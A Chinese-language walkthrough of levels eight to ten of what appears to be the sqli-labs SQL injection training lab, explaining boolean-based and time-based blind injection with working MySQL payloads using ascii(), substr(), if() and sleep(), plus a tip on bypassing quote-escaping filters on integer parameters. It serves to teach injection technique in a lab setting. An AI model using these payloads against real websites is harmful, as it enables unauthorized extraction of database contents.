第八关:

没有查询信息,输入id=1' 报错 ,也没有报错信息,这里应该是个盲注

使用boolean的盲注吧

先判断boolean的盲注可行

输入id=1' and '1'='1' %23 页面正常

输入id=1' and '1'='2' %23 页面出错

有几个mysql内置的函数需要记住:

length(str):返回str字符串的长度。

substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
 ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
 
盲注需要一个字符一个字符的来判断,必须如先判断当前的数据库名的第一个字符是什么(可以使用sqlmap或脚本)
输入?id=1' and ascii(substr((select database()),1,1))>104 %23   发现程序不报错

?id=1' and ascii(substr((select database()),1,1))>200 %23

 

说明数据库名的第一个字符的ascii码在104到200之间 ,继续用二分法找出这个字符的具体ascii码以及之后的数据库名的各个字符。

第九关:

这里输入?id=1'  ?id=1"页面都没有变化,说明之前的注入方法都没用,包括boolean型盲注也都不行了。

尝试基于时间的盲注,这里需要介绍一个mysql内置的函数sleep(5)  表示执行这个函数时会延迟5秒。(每种数据库都有各自延时函数)

可以用F12看下网站处理这个请求正常需要的时间

输入?id=1

需要一秒左右的时间

输入id=1' and sleep(5) %23

处理这个请求用了6秒,说明程序执行了and后面的sql语句,只是没有数据显示而已。

后面和流程和boolean型盲注就有点类似了

输入 id=1' and if(ascii(substr((select database()),1,1))>64,sleep(5),0) %23

成功延迟了,说明当前数据库名的第一个字符的ascii码是大于64的。

后面的流程就和boolean一样了,没什么好讲的了,时间问题。

第十关:

这题也是个基于时间的盲注,但是输入?id=1' and sleep(5) %23后没有延迟,这个时候还是应该先尝试下 ?id=1" and sleep(5) %23 以及?id=1") and sleep(5) %23

如果都不延迟,则可能是不存在注入。尝试发现?id=1" and sleep(5) %23 会延迟,则说明后台是使用双引符号进行拼凑。

---------------------------------------补充----------------------------------------

这里需要补充一下,如果是注入参数是int类型的,使用基于时间的盲注将无视daddslashes这些过滤函数,因为并不需要使用单双引符号!

最新文章

  1. IT青年深圳销售求职经历
  2. 使用call来实现继承
  3. Biee 11g权限详解
  4. java-xml格式化
  5. 3D Touch集成过程整理
  6. [HTML] CSS3 边框
  7. 0302 关于IT行业的就业感想
  8. [resource-]Python 网页爬虫 & 文本处理 & 科学计算 & 机器学习 & 数据挖掘兵器谱
  9. JavaScript 找出数组中重复的元素
  10. [Design Pattern] Command Pattern 简单案例
  11. Sql Service存储过程分页
  12. TestComplete实测Flex
  13. HDU-2857-Mirror and Light(计算几何)
  14. SVN报Previous operation has not finished; run 'cleanup'&
  15. Android studio修改包名
  16. Vue中 $ref 的用法
  17. QTP 自动化测试桌面程序--笔记(关闭 启动程序脚本) 、安装
  18. MT【165】分段函数
  19. py-函数基础
  20. 「iOS」你会用几种方法实现计时器

热门文章

  1. [No0000113]Keyboard shortcuts for Windows Visual Studio Code
  2. angular ajax请求 结果显示显示两次的问题
  3. cordova 内部API 用ssl https,报错
  4. iOS如何接收服务端返回的布尔值
  5. JMeter之http接口测试
  6. tomcat去掉项目名称
  7. Linux I/O重定向
  8. 【JMeter】【性能测试】参数化,内存溢出问题
  9. insert select带来的问题
  10. 用A标签实现页面内容定位 点击链接跳到具体位置